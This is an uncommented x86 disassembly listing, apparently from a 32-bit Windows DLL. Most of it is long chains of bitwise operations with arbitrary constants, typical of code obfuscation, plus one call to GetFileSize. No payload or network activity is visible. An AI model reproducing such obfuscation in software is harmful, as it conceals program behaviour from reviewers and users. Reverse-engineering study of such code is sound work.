or ebp, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x6ee0c2e3
xor edx, 0x3b3037e8
and edx, eax
and eax, 0x911f3d1c
or eax, ecx
mov edi, ebx
xor edi, 0x2289120
or edi, 0xec5748cd
mov dword [esp + 0x14], edi
xor ebx, 0x11002600
mov ecx, edi
xor ecx, 0x13203720
and ecx, edi
and ebx, 0x13203720
or ebx, ecx
mov ecx, eax
xor ecx, 0x44c0c003
or ecx, 0x3b3037e8
mov esi, eax
xor eax, 0x800f0800
mov edi, ecx
and edi, 0x5f20f63d
and eax, 0x80cf0802
or eax, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0x5f20f63d
and edx, 0xa0df09c2
or edx, edi
xor edx, eax
not ecx
or ecx, edx
and ebx, 0x13e9b733
xor ebx, ecx
xor esi, 0x11083510
or esi, dword [esp + 0x14]
mov edi, dword [esp + 8]
mov eax, edi
xor eax, 0x5a464913
xor ebx, 0xc4064804
not esi
or esi, ebx
mov ecx, ebp
not ecx
xor edi, 0xa5b9b6ec
and ecx, edi
or edi, ebp
and ebp, eax
or ebp, ecx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x76e6fff2
and ebp, 0x8919000d
or ebp, eax
or edx, edi
mov eax, edi
and eax, 0xfef7ffff
xor eax, ebp
xor eax, 0x8811000d
not edx
or edx, eax
mov edi, esi
not edi
mov eax, edi
and eax, 0xd97fd353
and esi, 0x26802cac
or esi, eax
or edi, edx
not edx
xor esi, 0xd97fd353
or esi, edx
not esi
not edi
or edi, esi
mov ecx, dword [esp]
and ecx, 0xa0e27925
mov eax, dword [esp + 4]
and eax, 0x5f1d86da
or eax, ecx
mov edx, eax
xor edx, 0x47198248
xor eax, 0xc01121
and eax, 0x18c415b3
and edx, 0xe73bea4c
or edx, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xf34a8215
mov esi, edi
and esi, 0xcb57dea
or esi, ecx
mov ecx, edx
xor ecx, 0x18c415b3
xor edx, 0xe73bea4c
xor esi, 0xf34a8215
or esi, edx
or ecx, eax
mov edx, ecx
xor edx, esi
or ecx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x1bf46fbb
and ecx, 0xe40b9044
or ecx, esi
and edi, 0x1bf46fbb
and eax, 0xe40b9044
or eax, edi
xor eax, ecx
xor edx, eax
test edx, eax
setne ah
sete dh
mov byte [esp], dh
cmp dword [0x1004090c], 0xa
setl byte [esp + 0x14]
setge byte [esp + 4]
xor dh, ah
mov al, dh
xor al, 1
mov ch, al
and ch, dh
xor ch, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov cl, dh
xor cl, ch
or ch, dh
xor ch, 1
or ch, cl
mov bl, ch
xor bl, 1
mov dh, ah
inc dh
mov bh, dh
and bh, ah
xor bh, 1
mov cl, bh
xor cl, ah
or bh, ah
xor bh, 1
or bh, cl
xor bh, 1
or bh, dh
mov cl, ch
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or bl, ch
or bl, cl
xor bl, 1
mov cl, ch
xor cl, bl
or bl, ch
xor bl, 1
or bl, cl
xor cl, 1
mov dl, cl
xor dl, bl
or bl, cl
mov ch, bh
xor ch, ah
xor bl, 1
or bl, dl
mov cl, ch
xor cl, 1
or bh, ah
and ch, bh
xor bh, 1
mov dl, bh
xor dl, cl
and dl, bh
and bh, cl
or bh, ch
xor dl, 1
xor bh, 1
mov ecx, edx
xor cl, bh
or bh, dl
xor bh, 1
or bh, cl
xor bl, 1
mov ch, bh
or ch, bl
mov cl, ch
xor cl, 1
xor bl, bh
or bl, cl
mov bh, bl
xor bh, 1
and cl, bl
or bl, ch
and bh, ch
mov ch, al
xor ch, 1
xor bl, 1
or bh, cl
or bh, bl
mov cl, al
xor cl, ah
or dh, al
or al, ah
xor al, 1
or al, cl
xor dh, 1
or ch, ah
xor ch, 1
or ch, dh
mov cl, ch
xor cl, 1
mov edx, ecx
mov dh, al
xor cl, al
xor al, 1
and dl, al
and dh, ch
or dh, dl
or ch, al
xor ch, 1
or ch, cl
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
and dh, ch
xor dh, 1
mov al, ch
xor al, dh
or dh, ch
xor dh, 1
or dh, al
mov al, bh
xor al, 1
and al, bh
xor al, 1
mov cl, bh
xor cl, al
or al, bh
xor al, 1
or al, cl
xor al, 1
mov ch, bh
xor ch, dh
mov cl, ch
and cl, dh
and ch, bh
xor cl, 1
xor ch, 1
mov dl, cl
xor dl, ch
or ch, cl
xor ch, 1
or ch, dl
mov cl, al
or cl, dh
xor al, dh
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov dh, cl
and dh, al
xor cl, dh
xor dh, 1
or dh, al
xor dh, 1
or dh, cl
xor dh, 1
xor ch, 1
mov al, ch
or al, dh
xor al, 1
xor ch, dh
or ch, al
mov dh, ch
xor dh, 1
mov cl, dh
and cl, ch
mov al, cl
xor al, 1
mov ebx, eax
and bl, cl
xor bl, 1
mov dl, cl
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
or ch, al
xor ch, 1
or ch, dh
xor ch, bl
xor ch, 1
or al, dh
mov cl, ch
xor cl, al
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, al
xor cl, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
mov al, ch
xor al, 1
and ch, al
xor ch, 1
mov cl, ch
xor cl, al
or ch, al
xor ch, 1
or ch, cl
movzx ebx, byte [esp + 4]
mov al, bl
xor al, ch
or ch, bl
and ch, al
mov cl, bl
or cl, ah
mov dh, byte [esp]
mov al, dh
xor al, bl
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov dl, byte [esp + 0x14]
and dl, ah
and bl, dh
or bl, dl
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, bl
xor al, 1
mov cl, ah
xor cl, 1
mov dh, ah
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, ah
mov ah, cl
or ah, bl
or bl, dh
xor cl, al
xor al, dh
and al, dh
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ah, al
xor ah, 1
and dl, ah
or ah, cl
and cl, al
or cl, dl
xor cl, 1
mov al, cl
xor al, ah
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, cl
or al, cl
xor al, 1
or al, ah
mov dh, al
xor dh, 1
mov ah, cl
xor ah, al
and ah, cl
and dh, dl
and al, cl
or al, dh
mov cl, ah
xor cl, 1
xor ah, al
xor al, 1
or al, cl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov cl, dl
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov cl, ch
xor cl, 1
and al, dl
xor al, 1
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov edx, ecx
and dl, ch
xor dl, 1
mov dh, cl
or dh, dl
xor dh, 1
or dh, ch
mov bh, dh
xor bh, 1
mov bl, bh
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, bh
mov dh, bl
xor dh, 1
and dh, bl
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
mov ebx, eax
or bl, dh
mov bh, al
or dl, ch
xor dl, 1
or dl, cl
or al, cl
or cl, ah
xor dl, ah
xor ah, dh
and ah, dh
xor ah, 1
mov dh, bl
xor dh, ah
or ah, bl
xor ah, 1
or ah, dh
or bh, ch
mov ch, bh
xor ch, cl
or cl, bh
xor cl, 1
or cl, ch
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ch, cl
xor ch, 1
mov dl, ah
xor dl, 1
mov al, ch
and al, cl
xor al, 1
or al, cl
mov dh, ah
xor al, 1
or al, ch
and dl, al
xor al, 1
and al, ah
xor ah, ch
or dh, ch
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
or al, dl
mov dl, al
xor dl, 1
mov cl, ah
and cl, dh
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov ch, cl
and cl, dl
xor ch, 1
and ch, al
or cl, ch
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x80204df
mov esi, 0xbc9df43d
cmovne edx, esi
test al, 1
mov ebx, 0x80204df
cmovne ebx, edx
test cl, 1
cmove ebx, edx
mov dword [esp + 0x14], 0
jmp 0x1000b8a0
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x34], eax
cmp eax, 0xffffffff
sete byte [esp + 0x2e]
mov ecx, dword [0x10040908]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
mov edx, eax
not edx
mov edi, edx
and edi, 0x9ae4c59c
and esi, 0x651b3a63
or esi, edi
mov edi, esi
xor edi, 0x80201
xor esi, 0x2000090
and edi, 0x8480305
and esi, 0x22010092
or esi, edi
mov edi, esi
xor edi, 0x22010092
and ecx, 0xd5b6fc68
xor esi, 0x8480305
and esi, edi
or ecx, edi
or ecx, esi
mov esi, ecx
xor esi, 0xd5b6fc68
xor ecx, 0x20090301
and esi, 0x8fc2c0b6
and ecx, 0x703d3f49
or ecx, esi
mov ebx, ecx
xor ebx, 0x8fc2c0b6
xor ecx, 0x703d3f49
mov esi, ebx
or esi, 0x88027042
and esi, 0xc9267063
mov edi, ecx
and edi, 0x4100680
or edi, esi
mov ebp, ecx
or ebp, 0x41240021
and ebp, 0xc9267063
mov esi, ebx
and esi, 0x32c9891c
or esi, ebp
xor esi, edi
and ebx, 0x1af44ae9
mov edi, ecx
and edi, 0xe50bb516
or edi, ebx
mov ebx, eax
xor ebx, 0xb807ca28
and ebx, eax
xor esi, 0x9cf481a6
xor edi, 0x3ccb3211
and ecx, 0x263f78f8
or ecx, edi
not ecx
or ecx, esi
and edx, 0x88014000
and eax, 0x30068a28
or eax, edx
mov edx, eax
xor edx, 0x30040220
xor eax, 0xcff975d7
mov esi, ebx
not esi
mov edi, eax
and edi, 0x421afd89
and edx, 0xb8050220
or edx, edi
or eax, esi
and esi, 0x421afd89
and ebx, 0xbde50276
or ebx, esi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
xor edx, 0x47f835d7
mov edi, eax
xor edi, 0xb807ca28
xor eax, 0x5ffce6f
and edi, eax
and eax, edx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0xe2819427
and edi, 0x1d7e6bd8
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0xe2819427
and eax, 0x1d7e6bd8
or eax, ebx
mov ebp, ecx
not ebp
xor eax, edi
not esi
or esi, eax
xor esi, 0x64388340
and edx, 0x263f78f8
or edx, esi
mov eax, edx
not eax
and edx, 0x80d6c73f
and eax, 0x7f2938c0
or eax, edx
mov edx, eax
xor edx, 0x23012840
xor eax, 0x8044c325
and eax, 0xdc6cd3a5
and edx, 0x23932c5a
or edx, eax
mov ebx, ecx
and ebx, ebp
mov esi, ebp
mov edi, ecx
and edi, 0x59fa9d6f
mov eax, ebp
and ebp, 0xa6056290
or ebp, edi
and esi, 0xcf0074c9
not ebp
or ebp, ecx
mov dword [esp + 4], ebp
and ecx, 0x30ff8b36
or ecx, esi
mov esi, ebx
not esi
or eax, esi
and esi, 0xcf0074c9
and ebx, 0x30ff8b36
or ebx, esi
mov esi, edx
xor esi, 0xdc6cd3a5
xor ebx, ecx
mov ebp, edx
xor ebp, 0x23932c5a
not eax
or eax, ebx
mov edi, esi
and edi, 0x8d600201
mov ecx, ebp
and ecx, 0x62801804
or ecx, edi
mov edi, ecx
xor edi, 0x2801000
xor ecx, 0x9d7fe7fb
mov ebx, ecx
and ebx, 0xf80a6e75
and edi, 0x7e01000
or edi, ebx
xor edx, 0xcc73365f
and edx, ebp
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0xf80a6e75
and edx, 0x7f5918a
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, 0x101fe5fa
mov dword [esp], ebx
xor ecx, 0xefe01a05
mov edx, ecx
and edx, 0x105135af
and ebx, 0xefaeca50
or ebx, edx
xor ebx, 0x49aba8c0
or ebx, ecx
mov edx, eax
xor edx, ecx
and edx, eax
mov dword [esp + 8], edx
and ecx, eax
mov dword [esp + 0xc], ecx
mov edx, eax
not eax
mov dword [esp + 0x10], eax
and eax, 0xd2cbbb03
and edx, 0x2d3444fc
or edx, eax
mov eax, edx
xor eax, 0x2d3444fc
xor edx, 0x42818803
and edx, 0x4691cc03
mov ecx, eax
and ecx, 0xb96e33fc
or ecx, edx
xor ecx, 0xe094ae93
and eax, 0xa6056290
or eax, ecx
mov ecx, esi
and ecx, 0x59fa9d6f
and ebp, 0xa6056290
or ebp, ecx
xor esi, ebp
and esi, ebp
mov ebp, eax
not ebp
mov ecx, ebp
mov edx, dword [esp + 4]
xor ecx, edx
and ecx, ebp
and eax, 0x23fa7bb6
and ebp, 0xdc058449
or ebp, eax
xor ebp, edx
xor ebp, 0xdc058449
or ebp, ecx
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0x3c9b5401
xor ebx, 0x84fcca71
and ebx, eax
and eax, 0xc364abfe
or eax, ecx
mov ecx, eax
xor ecx, 0xc364abfe
mov dword [esp + 4], ecx
xor eax, 0x4798618f
and eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x75f588d5
and eax, 0x8a0a772a
or eax, edx
mov edx, ebx
not edx
or ecx, edx
and edx, 0x75f588d5
and ebx, 0x8a0a772a
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov eax, esi
xor eax, 0x7b03358e
mov edx, eax
and eax, esi
not esi
and edx, esi
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xb82946d7
and edx, 0x47d6b928
or edx, edi
mov edi, eax
not edi
or ebx, edi
and edi, 0xb82946d7
and eax, 0x47d6b928
or eax, edi
xor eax, edx
not ebx
or ebx, eax
xor ebx, ecx
or esi, dword [esp + 4]
not esi
or esi, ebx
mov eax, ebp
not eax
mov ecx, esi
not ecx
mov edx, ecx
xor edx, eax
and edx, esi
and ecx, 0x3c1b194
and esi, 0xfc3e4e6b
or esi, ecx
xor esi, eax
xor esi, 0xfc3e4e6b
and esi, ebp
or esi, edx
mov eax, dword [esp + 0x10]
and eax, dword [esp]
mov ebx, dword [esp + 0xc]
or ebx, eax
or ebx, dword [esp + 8]
mov ecx, ebx
not ecx
mov eax, ebx
xor eax, 0x35fb1f6e
and eax, ebx
mov edx, ebx
or edx, 0x4a002011
mov edi, eax
not edi
and edx, 0x4f512313
and ecx, 0x30aa1c6c
or ecx, edx
or ebx, edi
and edi, 0x4f512313
and eax, 0xb0aedcec
or eax, edi
xor eax, ecx
not ebx
or ebx, eax
not eax
and eax, 0xca04e091
and ebx, 0x35fb1f6e
or ebx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0x6a766b60
and ebx, 0x9589949f
or ebx, eax
xor ebx, 0x6a766b60
xor edx, ebx
and edx, ebx
mov edi, esi
not edi
mov dword [esp + 4], edi
mov ebp, edx
not ebp
mov dword [esp], ebp
and edi, 0xa6ea65ba
mov ebx, esi
xor ebx, 0xa6ea65ba
and ebx, esi
or ebx, edi
mov edi, edx
xor edi, 0xa6ea65ba
mov ecx, edi
and ecx, ebp
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x7647f6b2
and ecx, 0x89b8094d
or ecx, eax
and edi, edx
mov eax, edi
not eax
or ebp, eax
and eax, 0x7647f6b2
and edi, 0x89b8094d
or edi, eax
xor edi, ecx
not ebp
or ebp, edi
mov edi, ebp
xor edi, ebp
not edi
and edi, ebx
xor edi, ebp
mov eax, esi
and eax, 0xc293f1e3
mov ecx, dword [esp + 4]
and ecx, 0x3d6c0e1c
or ecx, eax
or esi, edx
and edx, 0xc293f1e3
mov eax, dword [esp]
and eax, 0x3d6c0e1c
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xf7823401
and edi, 0x87dcbfe
or edi, ecx
xor edi, esi
xor edi, 0x87dcbfe
or eax, esi
not eax
or eax, edi
mov edi, eax
not edi
mov ecx, eax
or ecx, 0x788748a9
or edi, 0x8048b412
mov edx, eax
and edx, 0x70024021
and edi, 0x88cdbc9a
or edi, edx
mov esi, edi
xor esi, 0x88cdbc9a
xor edi, 0x37120125
and edi, 0x3f571da7
mov edx, esi
and edx, 0x40804008
or edx, edi
xor edx, 0xc0a8e258
xor eax, 0x7609742
mov ebx, ecx
xor ebx, eax
mov edi, edx
and edi, 0xc81e203d
and esi, 0x30814880
xor ebx, 0x37e1dfc2
and ebx, ecx
xor ebx, eax
or esi, edi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
or edx, ecx
not edx
or edx, edi
mov ecx, edx
xor ecx, 0x5eb83051
mov esi, edx
xor esi, 0xa147cfae
mov edi, esi
and edi, 0x42c89656
mov eax, esi
and eax, ecx
mov ebx, ecx
xor edx, 0xe047abd
and edx, ecx
and ecx, 0xbd3769a9
or ecx, edi
xor ecx, 0xbd3769a9
or eax, ecx
mov ecx, esi
and ecx, 0x55a38c4d
and ebx, 0xaa5c73b2
or ebx, ecx
mov edi, ebx
xor edi, 0xaa5c73b2
xor ebx, 0x11200c45
and ebx, 0x136c1dd7
mov ebp, edi
and ebp, 0xec93e228
or ebp, ebx
mov ecx, eax
not ecx
xor ebp, 0xec93e228
or ebp, edi
mov edi, eax
xor edi, 0x89f29be1
and edi, ecx
and eax, 0x760d641e
or eax, edi
mov edi, ebp
not edi
or ecx, ebp
and ebp, 0x89f29be1
and edi, 0x760d641e
or edi, ebp
mov ebx, edi
xor ebx, edi
not ebx
and ebx, eax
xor ebx, edi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x4a51236d
and ebx, 0xb5aedc92
or ebx, eax
mov eax, ecx
not eax
or edi, ecx
and ecx, 0x4a51236d
and eax, 0xb5aedc92
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov dword [esp + 8], edi
mov ebx, edi
not ebx
mov dword [esp + 4], ebx
mov eax, ebx
and eax, 0x26785ffd
mov ecx, edi
and ecx, 0xd987a002
or ecx, eax
mov ebp, ecx
xor ebp, 0xf0d120b3
xor ecx, 0x6200f44
mov eax, ebp
and eax, 0xd98fd089
and ecx, 0x26702f76
or ecx, eax
mov eax, edi
and eax, 0xd98fd089
and ebx, 0x26702f76
or ebx, eax
xor ebx, ecx
or ebp, edi
not ebp
or ebp, ebx
mov dword [esp], ebp
or esi, edx
not edx
and edx, 0xaf43b513
and esi, 0x50bc4aec
or esi, edx
mov eax, esi
not eax
mov edx, esi
or edx, 0xc38f1be
mov ecx, edx
and ecx, 0x67153375
mov ebx, eax
and ebx, 0x90c20c00
or ebx, ecx
mov ecx, esi
xor ecx, 0xf3c70e41
and ecx, esi
mov ebp, ecx
not ebp
or edx, ebp
and ebp, 0x67153375
and ecx, 0x98eacc8a
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
and esi, 0x55886e7b
mov ecx, eax
and ecx, 0xaa779184
or ecx, esi
xor ecx, 0x83211135
and eax, 0xd6a97f4e
or eax, ecx
mov ecx, edx
xor ecx, 0x409086f0
xor edx, 0x256e710f
mov esi, edx
and esi, 0xba072800
and ecx, 0x45f8d7ff
or ecx, esi
xor ecx, eax
xor ecx, 0x45f8d7ff
or edx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x64885002
and ecx, 0x64d8d812
mov esi, eax
and eax, 0x88010165
or eax, ecx
or esi, 0x508810
and esi, 0x64d8d812
and edx, 0x13262688
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x50a83600
xor edx, 0x80408054
and edx, 0xa746c0de
and eax, 0x58b93f21
or eax, edx
mov ecx, eax
xor ecx, 0x18182701
xor eax, 0xa742809c
and eax, 0xe7e398bc
and ecx, 0x181c6743
or ecx, eax
mov ebx, ecx
xor ebx, 0x42e308a8
xor ecx, 0x8106501
and ecx, 0xad10f515
and ebx, 0x52ef0aea
or ebx, ecx
mov edi, ebx
xor edi, 0x52ef0aea
xor ebx, 0xad10f515
mov eax, ebx
and eax, 0x343b3888
mov ecx, edi
and ecx, 0xcbc4c777
or ecx, eax
mov edx, dword [esp]
mov eax, edx
not eax
xor ecx, 0xcbc4c777
or ecx, edx
mov esi, ecx
mov ecx, edx
and ecx, 0x24080140
xor edx, 0xcbf32e3e
and edx, eax
and eax, 0x1004d081
or eax, ecx
xor eax, 0x1004d081
or edx, eax
mov eax, ebx
and eax, 0x3000d1c0
mov ecx, edi
and ecx, 0x40c0001
or ecx, eax
mov eax, ecx
xor eax, 0x4040001
xor ecx, 0xc831b72e
and ecx, 0xc839b72e
and eax, 0x340440c1
or eax, ecx
or ebx, 0x89100
and ebx, 0xc839b72e
and edi, 0x3c20810
or edi, ebx
xor edi, edx
mov dword [esp + 0xc], esi
mov ecx, esi
not ecx
xor edi, eax
mov ebx, ecx
mov edx, ecx
mov dword [esp], ecx
or ebx, 0x4031557c
mov eax, ebx
and eax, 0xe9e666ac
mov ecx, esi
and ecx, 0x16088803
or ecx, eax
mov eax, esi
xor eax, 0x4031557c
and eax, edx
mov esi, eax
not esi
or ebx, esi
and esi, 0xe9e666ac
and eax, 0x16199953
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov ebp, edi
not ebp
mov esi, edi
xor esi, 0xbfceaa83
mov ecx, esi
and ecx, ebp
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa03660
and ecx, 0xff5fc99f
or ecx, edx
and esi, edi
mov edx, esi
not edx
or eax, edx
and edx, 0xa03660
and esi, 0xff5fc99f
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, ebx
xor esi, eax
mov edx, dword [esp]
mov eax, edx
and eax, 0x7761c98d
mov ecx, dword [esp + 0xc]
and ecx, 0x889e3672
or ecx, eax
or edx, edi
mov eax, edx
and edi, 0x7761c98d
and ebp, 0x889e3672
or ebp, edi
xor ebp, ecx
not eax
or eax, ebp
mov edx, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x4c26d093
and esi, 0xb3d92f6c
or esi, ecx
xor esi, edx
xor esi, 0xb3d92f6c
or eax, edx
not eax
or eax, esi
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x1800c050
and ecx, 0x1a85c9d4
mov edi, esi
and edi, 0x6562120b
or edi, ecx
mov ecx, esi
or ecx, 0x2850984
and ecx, 0x1a85c9d4
mov edx, eax
and edx, 0x80182420
or edx, ecx
xor edx, edi
mov ecx, edx
xor ecx, 0x9808e420
xor edx, 0x6e3090e
and ecx, 0xf90cf6a1
and edx, 0x6f3095e
or edx, ecx
mov ecx, edx
xor ecx, 0x2fa589ee
xor edx, 0x6f3095e
and edx, ecx
and esi, 0x400b7fe7
and eax, 0xbff48018
or eax, esi
mov edi, eax
xor edi, 0xbff48018
xor eax, 0x270c4
and eax, 0x898270c4
mov ecx, edi
and ecx, 0x767d8f3b
or ecx, eax
xor ecx, 0x5f2b0f8b
and edi, 0xd6a97f4f
or edi, ecx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x6b93796c
mov ebp, edx
and ebp, 0x946c8693
or ebp, eax
mov esi, ebp
xor esi, 0x946c8693
xor ebp, 0x9608ee1a
and ebp, esi
mov eax, edi
xor eax, 0x2646889
and eax, edi
or esi, edi
not edi
and edi, 0x2646889
or edi, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x67fa3628
and ebp, 0x9805c9d7
or ebp, ecx
or ebx, 0xfd9b9776
or eax, ebx
and ebx, 0x67fa3628
and edx, 0x44881
or edx, ebx
xor edx, ebp
not eax
or eax, edx
xor eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x8fda225d
and eax, 0x7025dda2
or eax, ecx
mov ecx, esi
not ecx
or edx, esi
and esi, 0x8fda225d
and ecx, 0x7025dda2
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov dword [esp], edx
mov esi, dword [esp + 8]
mov edi, esi
or edi, 0x49e92862
mov eax, edi
and eax, 0x36c7fe54
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x80100189
or ecx, eax
mov eax, esi
xor eax, 0xb616d79d
and eax, esi
mov ebx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0x36c7fe54
and eax, 0xc93801ab
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov esi, edi
xor esi, 0x49e92862
xor edi, 0xb616d79d
mov eax, edi
and eax, 0x8c814a
mov ecx, esi
and ecx, 0x445248b0
or ecx, eax
mov eax, ecx
xor eax, 0x401248b0
or eax, 0xaa211601
xor ecx, 0x48048
and ecx, 0x4448048
and eax, 0xeabb5fb3
or eax, ecx
and ebx, 0x277dcce8
mov ecx, edx
and ecx, 0xd8823317
or ecx, ebx
xor ecx, 0x63a30512
and edx, 0x44dec9fa
or edx, ecx
mov ecx, eax
xor ecx, 0xeabb5fb3
xor eax, 0x1544a04c
mov ebx, ecx
xor ebx, edx
and ebx, ecx
xor ecx, eax
and ecx, edx
xor ecx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x7e9776ff
and ebx, 0x488900
or ebx, ebp
mov ebp, ecx
not ebp
or eax, ebp
and ebp, 0x7e9776ff
and ecx, 0x81688900
or ecx, ebp
xor ecx, ebx
not eax
or eax, ecx
mov ecx, esi
or ecx, 0x782188
mov ebx, edi
or ebx, 0x9886d405
and ecx, 0x98fef58d
and edi, 0x63000052
or edi, ecx
and ebx, 0x98fef58d
mov ecx, esi
and ecx, 0x4010a20
or ecx, ebx
mov ebx, eax
xor ebx, 0x44dec9fb
xor ecx, edi
xor ecx, 0x4792ba9
and esi, 0xfffffffe
or esi, ecx
mov ecx, esi
not ecx
mov edi, eax
xor edi, 0xbb213604
xor eax, 0x307781b6
and eax, ebx
mov ebx, edi
and ebx, 0x74a9484d
or eax, ebx
or edi, esi
and esi, 0x74a9484d
and ecx, 0x8b56b7b2
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
mov eax, edi
not eax
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x47006b9f
and esi, 0xb8ff9460
or esi, ebx
or ecx, edi
and edi, 0x47006b9f
and eax, 0xb8ff9460
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov edi, esi
and edi, 0xbd818101
mov ebp, ecx
xor ebp, 0xbd818101
and ebp, ecx
or ebp, edi
and esi, 0x863fa3bf
and ecx, 0x79c05c40
or ecx, esi
mov esi, ecx
xor esi, 0x79c05c40
xor ecx, 0x82368283
and ecx, 0x9af6c6c3
mov edi, esi
and edi, 0x6509393c
or edi, ecx
xor edi, 0x73c7a18c
and esi, 0xe931674f
or esi, edi
mov ecx, esi
not ecx
mov edi, esi
and edi, 0x265c12f
mov ebx, ecx
and ebx, 0xfd9a3ed0
or ebx, edi
mov edx, ebp
xor edx, 0xa98b0111
mov edi, ebx
xor edi, 0xe9102640
or edi, edx
mov eax, ebp
xor eax, 0x40ba665e
or eax, edx
xor ebp, 0xc9bb225c
and ebp, eax
mov eax, ebx
xor eax, 0x4002
or eax, 0x44a03a10
xor ebx, 0x10a0000
and eax, 0xcca07e12
and ebx, 0x30b0000
or ebx, eax
not edi
or esi, 0x88004402
and esi, 0xcca07e12
and ecx, 0x305481ed
or ecx, esi
xor ecx, ebx
and ebp, 0xe931674f
xor ebp, ecx
xor ebp, 0x20a0000
and edi, 0xe931674f
or edi, ebp
xor ecx, 0x14c498b0
and ecx, 0x16ce98b0
mov eax, edi
xor eax, 0x16ce98b0
and eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x59026114
xor eax, 0x266d02ab
and eax, ecx
and ecx, 0x80909c40
or ecx, edx
xor ecx, 0x80909c40
or eax, ecx
mov ecx, eax
xor ecx, 0xd992fd54
mov edx, eax
xor edx, 0x640283
and edx, 0x81643fc7
xor eax, 0x58f6c293
and eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x7e9bc038
xor eax, 0x81643fc7
mov edx, eax
and edx, 0xeb5c69c4
mov ebx, ecx
and ebx, 0x14a3963b
or ebx, edx
mov ebp, dword [esp]
mov edi, ebp
not edi
mov edx, edi
and edx, 0x7f1e6d03
and ebp, 0x80e192fc
or ebp, edx
mov esi, ebx
xor esi, 0xa19238
xor ebx, 0x6b1c6900
and ebx, 0x7f1e6d03
and esi, 0x80e192fc
or esi, ebx
xor esi, ebp
not esi
or esi, edi
mov edx, edi
and edx, 0xc899391
mov ebp, dword [esp]
and ebp, 0xf3766c6e
or ebp, edx
mov ebx, esi
not ebx
xor ebp, 0xc899391
or ebp, eax
mov edx, ebp
and eax, 0x6f0beecc
and ecx, 0x90f41133
or ecx, eax
xor ecx, 0x6f0beecc
or ecx, edi
mov eax, edx
xor eax, ecx
or ecx, edx
not ecx
